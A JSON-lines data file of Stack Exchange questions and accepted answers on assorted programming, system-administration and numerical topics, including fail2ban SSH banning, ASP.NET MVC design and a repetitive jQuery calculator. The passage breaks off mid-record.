{  "id": "_webmaster.700"  , "question": "Where does google webmaster tools get all it's data from? Is it paired with google analytics etc or is it purely crawlers and searches it display?"  , "title": "What is the source of google webmaster tools' data?"  , "tags": "google search console"  , "accepted_answer": "It's pulled directly from crawls and searches and may contain different information compared to google analytics. You can read more information in the Google Webmaster Tools FAQ"  } 
{  "id": "_softwareengineering.116031"  , "question": "Assumptions:Minimalist ASP.NET MVC 3 application for sending emails where the view represents the contents of an email.Over 500+ email types. I would NOT like to have 500+ actions in my controller corresponding to each email type.Email types are stored in an enum named MailType, so we could have:MailType.ThankYouForYourPurchase, MailType.OrderShipped, etc.The view name is the same as the mailType name:MailType.OrderShipped would have a corresponding view: OrderShipped.cshtmlSome views would directly use an Entity while others would use a ViewModel.So, given that I have 500+ email types, what is the best way/pattern to organize my application?Here is what I was thinking,Controller:    public class MailController : Controller    {        public ActionResult ViewEmail(MailType mailType, int customerId)        {            string viewName = mailType.ToString();            var model = _mailRepository.GetViewModel(mailType, customerId);            return View(viewName, model);        }        public ActionResult SendEmail(MailType mailType, int customerId)        {            ...        }    }MailRepository Class:    public class MailRepository    {        private readonly CustomerRepository _customerRepository;        private readonly OrderRepository _orderRepository;        //pretend we're using dependency injection        public MailRepository()        {            _customerRepository = new CustomerRepository();            _orderRepository = new OrderRepository();        }        public object GetViewModel(MailType mailType, int customerId)        {            switch (mailType)            {                case MailType.OrderShipped:                    return OrderShipped(customerId);                case MailType.ThankYouForYourPurchase:                    return ThankYouForYourPurchase(customerId);            }            return _customerRepository.Get(customerId);        }        public Order OrderShipped(int customerId)        {            //Possibly 30 lines to build up the model...            return _orderRepository.GetByCustomerId(customerId);        }        public Customer ThankYouForYourPurchase(int customerId)        {            return _customerRepository.Get(customerId);        }    }But then this would lead to my MailRepository class becoming extremely large unless I somehow broke it up..."  , "title": "How do you organize an ASP.NET MVC 3 application with potentially hundreds of views but with only a few entry points?"  , "tags": "design patterns;asp.net mvc;code organization"  , "accepted_answer": "To avoid any one class getting too big you need to be mapping mail types to classes rather than method names - pick a naming convention like MailControllers.OrderShippedController and load the class with reflection.I'd also note that your MailRepository seems to be behaving more like a controller - not a major issue, but something that could become confusing later."  } 
{  "id": "_cstheory.12762"  , "question": "In self-organizing maps(SOM) algorithm described here it is said about the weights of nodes and data items. If using this algorithm for sine function approximation given a few points are the nodes - points and weights - coordinates?"  , "title": "Self-organizing maps algorithm(Kohonen networks)"  , "tags": "ai.artificial intel;data mining"  } 
{  "id": "_webapps.20868"  , "question": "Is there a way I can hide comments by default on SoundCloud?I saw the plugin for Chrome but I don't always use Chrome. Is there a better solution than that?"  , "title": "Hide Comments by Default on SoundCloud"  , "tags": "soundcloud"  , "accepted_answer": "Updated 1-26-15Here's a tampermonkey/greasemonkey script that disables comments in Soundcloud new and classic view:// ==UserScript==// @name           SoundCloud - Hide comments// @description    Hides comments on tracks// @include        http*://soundcloud.com/*// @require        http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js// ==/UserScript==$(<style type='text/css'>+   .waveformComments{ display:none !important;} +   .commentBubble__wrapper{ display:none !important;} +   .commentPopover{ display:none !important;} +   .waveform__layer.waveform__scene canvas:nth-child(2){ opacity:0 !important;} +  </style>).appendTo(head);"  } 
{  "id": "_codereview.146304"  , "question": "I have a list of objects where one of the properties on the object class is an enum.The program below simply loops through each item in the list, checks an int value, then checks the enum value for that item, then adds the item to another list when the condition is met.I am using if-else statements, I attempted to use a switch statement but it doesn't seem possible to place 2 constants on a single case.I'd like to know if there's a better / more elegant way to do this or is what I've done sufficient in this scenario?Program Code// User inputs number from 1 - 5        int SelectedOppType = Int32.Parse(Console.ReadLine());foreach (Opportunities Opp in OpportunitiesList){    if (SelectedOppType == 1 && Opp.OpportunityStatusID == OpportunityStatus.Active) // Opp.OpportunityStatusID == OpportunityStatus.Draft    {        FilterdOppsList.Add(Opp);    }    else if (SelectedOppType == 2 && Opp.OpportunityStatusID == OpportunityStatus.Draft)    {        FilterdOppsList.Add(Opp);    }    else if (SelectedOppType == 3 && Opp.OpportunityStatusID == OpportunityStatus.Closed)    {        FilterdOppsList.Add(Opp);    }    else if (SelectedOppType == 4 && (Opp.OpportunityStatusID == OpportunityStatus.Active || Opp.OpportunityStatusID == OpportunityStatus.Draft))    {        FilterdOppsList.Add(Opp);    }    else if (SelectedOppType == 5)    {        FilterdOppsList.Add(Opp);    }}foreach (var OppItem in FilterdOppsList){    Console.WriteLine(OppItem.OppText);}Console.ReadLine();"  , "title": "Filtering a list by comparing enums against a user choice"  , "tags": "c#;enum"  , "accepted_answer": "Shortening ifsYou add everything to the same list so you can concatenate all conditions and use only one if with a helper variable:foreach (Opportunities Opp in OpportunitiesList){    var canAdd =        (SelectedOppType == 1 && Opp.OpportunityStatusID == OpportunityStatus.Active) ||        (SelectedOppType == 2 && Opp.OpportunityStatusID == OpportunityStatus.Draft) ||        (SelectedOppType == 3 && Opp.OpportunityStatusID == OpportunityStatus.Closed) ||        (SelectedOppType == 4 && (Opp.OpportunityStatusID == OpportunityStatus.Active || Opp.OpportunityStatusID == OpportunityStatus.Draft)) ||        (SelectedOppType == 5);    if (canAdd)    {        FilterdOppsList.Add(Opp);    }}Other improvementsMagic numbersYou should create an enum for the SelectedOppType and cast the int given by the user to it.Example:enum OppType{    OppType1 = 1,    OppType2 = 2,    OppType3 = 3,    OppType4 = 4,    OppType5 = 5,}var selectedOppType = (OppType)Int32.Parse(Console.ReadLine());I know the names OppTypeX are ugly but I don't know what the numbers mean, this is why we dislike them. They have no meaning.Next, the logic can be extracted as an easier to maintain dictionary. Now that all values are enums we can easily build such a dictionary that I find by far is better then a switch nested in a loop. Besides, you can reuse the dictionary to display the options in other places (if you make it a filed or a property of some class).var allowedOppTypeStatuses = new Dictionary<OppType, IEnumerable<OpportunityStatus>>{    [OppType.OppType1] = new[] { OpportunityStatus.Active },    [OppType.OppType2] = new[] { OpportunityStatus.Draft },    [OppType.OppType3] = new[] { OpportunityStatus.Closed },    [OppType.OppType4] = new[] { OpportunityStatus.Active, OpportunityStatus.Draft },    [OppType.OppType5] = Enumerable.Empty<OpportunityStatus>(),};foreach (Opportunities opp in OpportunitiesList){    var canAdd =         allowedOppTypeStatuses[selectedOppType].Any(x => x == opp.OpportunityStatusID) ||         !allowedOppTypeStatuses[selectedOppType].Any();    if (canAdd)    {        FilterdOppsList.Add(opp);    }}Minor issuesWe use camelCase for local variables so SelectedOppType should be selectedOppTypeOpportunities - this doesn't look like a good name for a type, there seems to be more wrong with your code (unless it's an enum with Flags attribute)."  } 
{  "id": "_softwareengineering.341563"  , "question": "I'm building a native app which currently has zero backend infrastructure.With services like Firebase's Authentication, database and notifications means that all interactions are handled client-side within an Ionic app and consumed via Firebase javascript API.I would like to start sending triggered emails and communications. Both manually triggered by other user interactions, and on regular intervals (daily/weekly summaries). I feel slightly nervous about depending solely on client-side to process these message, especially as this wouldn't scale nicely at all.I'm familiar with writing API's and Services in .Net so I'd love to write something using the Azure message queue with something like Mandrill or Sendgrid. However it feels like there may be a far simpler solution. Perhaps Node.Js?Open to ideas and suggestions"  , "title": "Message queues and triggered comms within a native app"  , "tags": "c#;cloud computing;message queue;azure;native"  } 
{  "id": "_cs.57180"  , "question": "Couldn't find much online on how an interactive system is different from a time-sharing system, or the different traits of both.My understanding of a time-sharing system is many people at terminals being able to use the system at the same time, and the CPU's aim is to maximise response time not CPU time (unlike a multiprogrammed batch system). The switches between jobs are very frequent, and users get immediate responses, when for example submitting interrupts via keyboard inputs. There is very little CPU idle time, duplication of software etc, but it is less reliable, there might be lower security and integrity, and potentially bad data communication. An example would be a chat messaging client or system."  , "title": "Key differences between interactive and time sharing operating systems?"  , "tags": "operating systems"  , "accepted_answer": "Time sharing is a system of multi-tasking designed to allow multiple users to use a single machine at the same time.A time sharing operating system is one that supports multi-tasking and multi-user.In a time-sharing system the user typically interacts with the operating system through a secondary machine called a terminal.   In an interactive operating system there is typically only one user on the system that has full control over the system.Because of the environment in which time-sharing machines are used (large cooperations and banks) security and separation between users is a prime concern.  Interactive computing originates from the hobby and personal computing revolution. Because there is only a single user security was initially not a concern.  From these starting points the lines have blurred.First single user systems gained multi-tasking and then multi-user concepts were copied over from time-sharing systems into the interactive OS'es.  Meanwhile the security and performance of time sharing systems have also improved."  } 
{  "id": "_softwareengineering.55662"  , "question": "I am developing high volume processing systems. Like mathematical models that calculate various parameters based on millions of records, calculated derived fields over milions of records, process huge files having transactions etc...I am well aware of unit testing methodologies and if my code is in C# I have no problem in unit testing it. Problem is I often have code in T-SQL, C# code that is a SQL stored assembly, and SSIS workflow with a good amount of logic (and outcomes etc) or some SAS process.What is the approach YOu use when developing such systems. I usually develop several tests as Stored procedures in a designed schema(TEST) and then automatically run them overnight and check out the results. But this is only for T-SQL. And Continous integration IS hard. But the problem is with testing SSIS packages. How do You test it? What is Your preferred approach for stubbing data into tables (especially if You need a lot data initialization). I have some approach derived over the years but maybe I am just not reading enough articles.So Banking, Telecom, Risk developers out there. How do You test your mission critical apps that process milions of records at end day, month end etc? What frameworks do You use? How do You validate that Your ssis package is Correct (as You develop it)/ How do You achieve continous integration in such an environment (Personally I never got there)? I hope this is not to open-ended question. How do You test Your map-reduce jobs for example (i do not use hadoop but this is quite similar). lukeHope that this is not too open ended"  , "title": "How can Agile methodologies be adapted to High Volume processing system development?"  , "tags": "code quality;unit testing;performance;agile"  } 
{  "id": "_scicomp.26718"  , "question": "I'm trying to solve\\begin{equation}\\left\\{\\begin{split}\\frac{\\partial u}{\\partial t}+(u\\cdot\\nabla)u-\\nu\\Delta u+\\frac1\\rho\\nabla p&=f\\;\\;\\;\\text{in }\\Lambda\\\\u&=0\\;\\;\\;\\text{on }\\partial\\Lambda\\\\\\nabla\\cdot u&=0\\;\\;\\;\\text{in }\\Lambda\\end{split}\\right.\\tag1\\end{equation}on $\\Lambda=(0,a)\\times(0,b)$. Let\\begin{equation}\\begin{split}\\mathfrak a(u,v)&:=\\sum_{i=1}^d\\langle\\nabla u_i,\\nabla v_i\\rangle_{L^2}\\\\\\mathfrak b(u,q)&:=-\\langle\\nabla\\cdot u,q\\rangle_{L^2}\\\\\\mathfrak c(u,v,w)&:=\\langle(u\\cdot\\nabla)v,\\cdot w\\rangle_{L^2}\\end{split}\\end{equation}for $u,v\\in V:=H_0^1(\\Lambda,\\mathbb R^2)$ and $q\\in\\Pi:=\\left\\{p\\in L^2(\\Lambda):\\int p=0\\right\\}$. Now, let\\begin{equation}\\begin{split}\\tilde{\\mathfrak a}(u,v)&:=\\langle u,v\\rangle_{L^2}+\\Delta t\\nu\\mathfrak a(u,v)+\\Delta t\\mathfrak c(u^0,u,v)\\\\\\tilde{\\mathfrak b}(v,q)&:=\\frac{\\Delta t}\\rho\\mathfrak b(v,q)\\end{split}\\end{equation}for $u,v\\in V$ and $q\\in\\Pi$. $u^0$ is the approximate solution of the previous time step and $\\Delta t$ is the elappsed time. I've chosen a Taylor-Hood pair for the finite element discretization. Now, I'm left with a system $$\\left(\\begin{matrix}A&B^T\\\\B&0\\end{matrix}\\right)\\left(\\begin{matrix}u\\\\p\\end{matrix}\\right)=\\left(\\begin{matrix}f\\\\0\\end{matrix}\\right)\\tag2$$ where\\begin{equation}\\begin{split}a_{ij}&=\\tilde{\\mathfrak a}(\\phi_i,\\phi_l)\\\\b_{ij}&=\\tilde{\\mathfrak b}(\\phi_j,\\psi_i)\\end{split}\\end{equation}and $(\\phi_i)$ and $(\\psi_i)$ are bases of the finite dimensional subspaces of $V$ and $\\Pi$, respectively.My idea was to solve\\begin{equation}\\left\\{\\begin{split}BA^{-1}B^Tp&=BA^{-1}f\\\\Au&=f-B^Tp\\;.\\end{split}\\right.\\tag3\\end{equation}However, I've got several problems with $(3)$:I'm trying to solve the linear equations using the GMRES method. As a first step, the right-hand side of the first equation, $BA^{-1}f$, has to be computed. I've assembled $A$ and $B$; hence I'm trying to find a solution $Ax=f$ (using the GMRES method) and then compute $Bx$. However, the GMRES method for $Ax=f$ converges extremely slowly (most probably due to the undesirable eigenvalue distribution of $A$). Can we accelerate the convergence by a preconditioner? If so, which one should I use?The same question applies to the invocation of the GMRES method for $BA^{-1}B^Tp=BA^{-1}f$. Which preconditioner can I use here?"  , "title": "Preconditioner for the GMRES method in the Uzawa algorithm"  , "tags": "finite element;fluid dynamics;iterative method;preconditioning;gmres"  , "accepted_answer": "Please check this paper by Benzi et al. They address this issue and give corresponding references on p. 45.Shortcut: for the Stokes problem $A = \\text{diag}(A_{11},A_{11},\\dots,A_{11})$ is just a collection of discrete Laplace operators, so it is natural to approximate their inverses using multigrid. However, things get much more complicated for Oseen type problems as in your case (especially if convection is high, $\\nu \\ll 1$); Uzawa converges rather slowly in this case. They give references to papers which propose preconditioning techniques for Uzawa.  Beyond Uzawa: it may be useful to look at different solving techniques, e.g. block preconditioners such as PCD preconditioner by Kay et al. or AL preconditioner by Benzi and Olshanskii. A nice overview is given by Rehman et al. A recent step of deal.II tutorial implements AL approach (yet they use a direct solver for $A$ for simplicity of implementation)."  } 
{  "id": "_unix.120928"  , "question": "I am a new server admin. I just setup fail2ban on an ubuntu 12.04 VPS. I used this tutorial. Then I tried to login to the system via ssh from a friend's machine. It is showing operation timed out. It seems like this means fail2ban is working -- but I want to double check to be certain. Is this what it looks like on the client side when fail2ban has blocked your IP? Your SSH login times out because fail2ban/iptables does not allow it to initiate on the server side? $ ssh -p# user@IPuser@IP's password: Permission denied, please try again.user@IP's password: Permission denied, please try again.user@IP's password: ^C$ ssh -p# user@IPssh: connect to host IP port #: Operation timed out$ ssh -p# user@IPssh: connect to host IP port #: Operation timed out"  , "title": "Is this what it looks like in the terminal on the client side when you are blocked out via fail2ban?"  , "tags": "security;iptables;fail2ban"  , "accepted_answer": "If you take a look at this tutorial it states you'll see a timeout which is consistent with what you're seeing, titled: Fail2ban - Rackspace Knowledge Center.excerptsLet's test fail2ban to make sure it behaves the way we want it to. We'll do that by failing a few ssh logins.We'll use two machines: The server we want to protect and another machine to act as the attacker.Attacking machine's IP: 123.45.67.89The server's IP: 98.76.54.32To run the test, simply get on the attacking machine and try to ssh to your server five times. For example:   $ ssh fakeuser@98.76.54.32With the sixth try (assuming you have ssh's maxretry set to 5) your connection should time out if you try to ssh in again.NOTE: This last sentence is what you're seeing!Also you can setup fail2ban to send an email similar to this:If you have fail2ban set to send you email check to see if you got a message like this one:    From fail2ban@ITSecurity  Thu Jul 16 04:59:24 2009    Subject: [Fail2Ban] ssh: banned 123.45.67.89    Hi,    The ip 123.45.67.89 has just been banned by Fail2Ban after 5 attempts     against ssh.    Here are more information about 123.45.67.89:    {whois info}    Lines containing IP:123.45.67.89 in /var/log/auth.log    Jul 16 04:59:16 example.com sshd[10390]: Failed password for root from 123.45.67.89 port 46023 ssh2    Jul 16 04:59:18 example.com sshd[10390]: Failed password for root from 123.45.67.89 port 46023 ssh2    Jul 16 04:59:20 example.com sshd[10390]: Failed password for root from 123.45.67.89 port 46023 ssh2    Jul 16 04:59:21 example.comsshd[10394]: reverse mapping checking getaddrinfo for 123.45.67.89.example.com [123.45.67.89] failed - POSSIBLE BREAK-IN ATTEMPT!    Jul 16 04:59:22 example.com sshd[10394]: Failed password for root from 123.45.67.89 port 46024 ssh2    Regards,    Fail2BanProbably the best indication though that fail2ban worked was the existence of a new iptables rule that's now blocking the attacking IP address.For example:iptables -L Chain fail2ban-ssh (1 references)target     prot opt source               destinationDROP       all  --  208-78-96-200.realinfosec.com  anywhere"  } 
{  "id": "_datascience.17604"  , "question": "I have been reading about Generative Adversarial Networks (GANs) and was wondering if it would make sense to train a generator function only to use it for creating more training data.In a scenario where I don't have enough training data to build a robust classifier, can I use this limited data to train a generator that'll produce samples good enough to improve the accuracy of my discriminator (classifier)?"  , "title": "GANs to augment training data"  , "tags": "neural network;dataset;accuracy;training;gan"  , "accepted_answer": "Yes and no depending on how you define good enough samples.You will likely end up with a chicken and egg problem: you want to use the GAN to generate training data, but the GAN doesn't have enough training data itself to generate convincing enough samples.Other techniques exist for data synthesis of training images. For example: adding noise, flipping axis, change luminosity, change color, random cropping, random distorsion."  } 
{  "id": "_unix.357999"  , "question": "I'm using KDE Plasma on ubuntu and I have aproblem with skype. Whenever someone messages me, the panel opens up and won't close until I read the message. Please take a look at these gifs:In the first gif, you see, how the panels opens up, after I get a message, but the panel does not close.In the second gif, you see, how I have to click on skype and to read the message, to close the panel.How can I disable this behaviour? I don't want the panel to show up, everytime someone messages me. And I don't want to read the message, to close the panel.Any suggestions? Please tell me, if you need more informations.Plasma version: $ plasmashell --versionplasmashell 5.8.5EDIT: New skype version: Problem remains:"  , "title": "KDE Plasma: Skype messages opens up panel and won't close until clicked"  , "tags": "skype;plasma;plasma5"  } 
{  "id": "_codereview.59828"  , "question": "I'm working on a project of mine, and I've had to write out a fair bit of jQuery.  This is a generator and a calculator for some League of Legends related content.I was wondering if you could see any possible compact-ness changes that could be made.Here is my code. Hopefully I can trust you to take a look at it without taking it.note: The table is 12x24 broken down into 3x6var max_points = 30var spent_points = 0var total_off = 0var total_def = 0var total_utl = 0$('document').ready(function() {    $('table.masteries tr.p0 td:nth-child(1)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td:nth-child(2)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td:nth-child(3)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td:nth-child(4)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td:nth-child(5)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td:nth-child(6)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td:nth-child(7)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td:nth-child(8)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td:nth-child(9)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td:nth-child(10)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td:nth-child(11)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td:nth-child(12)')        .attr(style,background-image:url('./assets/masteries/mastery0.png'));    $('table.masteries tr.p0 td').on('click', function(){    if(spent_points < max_points) {        if(!this.i){            this.i = 0;        }        s = $(this).find('p').text()        current_max = parseInt(s.substr(s.length - 1))        if (            $(this).is($(':nth-child(1)'))            || $(this).is($(':nth-child(2)'))            || $(this).is($(':nth-child(3)'))            || $(this).is($(':nth-child(4)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_off = total_off + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.offensive').text(total_off);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if (            $(this).is($(':nth-child(5)'))            || $(this).is($(':nth-child(6)'))            || $(this).is($(':nth-child(7)'))            || $(this).is($(':nth-child(8)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_def = total_def + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.defensive').text(total_def);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if (            $(this).is($(':nth-child(9)'))            || $(this).is($(':nth-child(10)'))            || $(this).is($(':nth-child(11)'))            || $(this).is($(':nth-child(12)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_utl = total_utl + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.utility').text(total_utl);                $('span.spent').text(spent_points);            }            console.log(this.i);        }        if(total_off >= 4) {            $('table.masteries tr.p4 td:nth-child(1)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p4 td:nth-child(2)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p4 td:nth-child(3)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p4 td:nth-child(4)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }        if(total_def >= 4) {            $('table.masteries tr.p4 td:nth-child(5)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p4 td:nth-child(6)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p4 td:nth-child(8)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }        if(total_utl >= 4) {            $('table.masteries tr.p4 td:nth-child(10)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p4 td:nth-child(11)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p4 td:nth-child(12)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }    }});    $('table.masteries tr.p4 td').on('click', function(){    if(spent_points < max_points) {        if(!this.i){            this.i = 0;        }        s = $(this).find('p').text()        current_max = parseInt(s.substr(s.length - 1))        if (            $(this).is($(':nth-child(1)'))            || $(this).is($(':nth-child(2)'))            || $(this).is($(':nth-child(3)'))            || $(this).is($(':nth-child(4)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_off = total_off + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.offensive').text(total_off);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if (            $(this).is($(':nth-child(5)'))            || $(this).is($(':nth-child(6)'))            || $(this).is($(':nth-child(7)'))            || $(this).is($(':nth-child(8)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_def = total_def + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.defensive').text(total_def);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if (            $(this).is($(':nth-child(9)'))            || $(this).is($(':nth-child(10)'))            || $(this).is($(':nth-child(11)'))            || $(this).is($(':nth-child(12)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_utl = total_utl + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.utility').text(total_utl);                $('span.spent').text(spent_points);            }            console.log(this.i);        }        if(total_off >= 8) {            $('table.masteries tr.p8 td:nth-child(1)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p8 td:nth-child(2)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p8 td:nth-child(3)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p8 td:nth-child(4)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }        if(total_def >= 8) {            $('table.masteries tr.p8 td:nth-child(5)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p8 td:nth-child(6)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p8 td:nth-child(7)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p8 td:nth-child(8)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }        if(total_utl >= 8) {            $('table.masteries tr.p8 td:nth-child(9)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p8 td:nth-child(10)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p8 td:nth-child(11)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p8 td:nth-child(12)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }    }});    $('table.masteries tr.p8 td').on('click', function(){    if(spent_points < max_points) {        if(!this.i){            this.i = 0;        }        s = $(this).find('p').text()        current_max = parseInt(s.substr(s.length - 1))        if (            $(this).is($(':nth-child(1)'))            || $(this).is($(':nth-child(2)'))            || $(this).is($(':nth-child(3)'))            || $(this).is($(':nth-child(4)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_off = total_off + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.offensive').text(total_off);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if (            $(this).is($(':nth-child(5)'))            || $(this).is($(':nth-child(6)'))            || $(this).is($(':nth-child(7)'))            || $(this).is($(':nth-child(8)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_def = total_def + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.defensive').text(total_def);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if (            $(this).is($(':nth-child(9)'))            || $(this).is($(':nth-child(10)'))            || $(this).is($(':nth-child(11)'))            || $(this).is($(':nth-child(12)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_utl = total_utl + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.utility').text(total_utl);                $('span.spent').text(spent_points);            }            console.log(this.i);        }        if(total_off >= 12) {            $('table.masteries tr.p12 td:nth-child(1)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p12 td:nth-child(2)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p12 td:nth-child(3)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p12 td:nth-child(4)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }        if(total_def >= 12) {            $('table.masteries tr.p12 td:nth-child(5)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p12 td:nth-child(6)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p12 td:nth-child(7)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p12 td:nth-child(8)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }        if(total_utl >= 12) {            $('table.masteries tr.p12 td:nth-child(9)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p12 td:nth-child(10)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p12 td:nth-child(11)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p12 td:nth-child(12)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }    }});    $('table.masteries tr.p12 td').on('click', function(){    if(spent_points < max_points) {        if(!this.i){            this.i = 0;        }        s = $(this).find('p').text()        current_max = parseInt(s.substr(s.length - 1))        if (            $(this).is($(':nth-child(1)'))            || $(this).is($(':nth-child(2)'))            || $(this).is($(':nth-child(3)'))            || $(this).is($(':nth-child(4)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_off = total_off + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.offensive').text(total_off);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if (            $(this).is($(':nth-child(5)'))            || $(this).is($(':nth-child(6)'))            || $(this).is($(':nth-child(7)'))            || $(this).is($(':nth-child(8)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_def = total_def + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.defensive').text(total_def);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if (            $(this).is($(':nth-child(9)'))            || $(this).is($(':nth-child(10)'))            || $(this).is($(':nth-child(11)'))            || $(this).is($(':nth-child(12)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_utl = total_utl + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.utility').text(total_utl);                $('span.spent').text(spent_points);            }            console.log(this.i);        }        if(total_off >= 16) {            $('table.masteries tr.p16 td:nth-child(1)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p16 td:nth-child(2)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p16 td:nth-child(4)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }        if(total_def >= 16) {            $('table.masteries tr.p16 td:nth-child(5)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p16 td:nth-child(6)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p16 td:nth-child(7)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }        if(total_utl >= 16) {            $('table.masteries tr.p16 td:nth-child(10)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));            $('table.masteries tr.p16 td:nth-child(11)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }    }});    $('table.masteries tr.p16 td').on('click', function(){    if(spent_points < max_points) {        if(!this.i){            this.i = 0;        }        s = $(this).find('p').text()        current_max = parseInt(s.substr(s.length - 1))        if (            $(this).is($(':nth-child(1)'))            || $(this).is($(':nth-child(2)'))            || $(this).is($(':nth-child(4)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_off = total_off + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.offensive').text(total_off);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if (            $(this).is($(':nth-child(5)'))            || $(this).is($(':nth-child(6)'))            || $(this).is($(':nth-child(7)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_def = total_def + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.defensive').text(total_def);                $('span.spent').text(spent_points);            }            console.log(this.i);        } else if (            $(this).is($(':nth-child(10)'))            || $(this).is($(':nth-child(11)'))        ) {            if(this.i < current_max) {                this.i = this.i+1                total_utl = total_utl + 1                spent_points = spent_points + 1                $(this).find('span').text(this.i);                $('span.utility').text(total_utl);                $('span.spent').text(spent_points);            }            console.log(this.i);        }        if(total_off >= 20) {            $('table.masteries tr.p20 td:nth-child(2)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }        if(total_def >= 20) {            $('table.masteries tr.p20 td:nth-child(6)')                .attr(style,background-image:url('./assets/masteries/mastery0.png'));        }        if(total_utl >= 20) {            $('table.masteries tr.p20 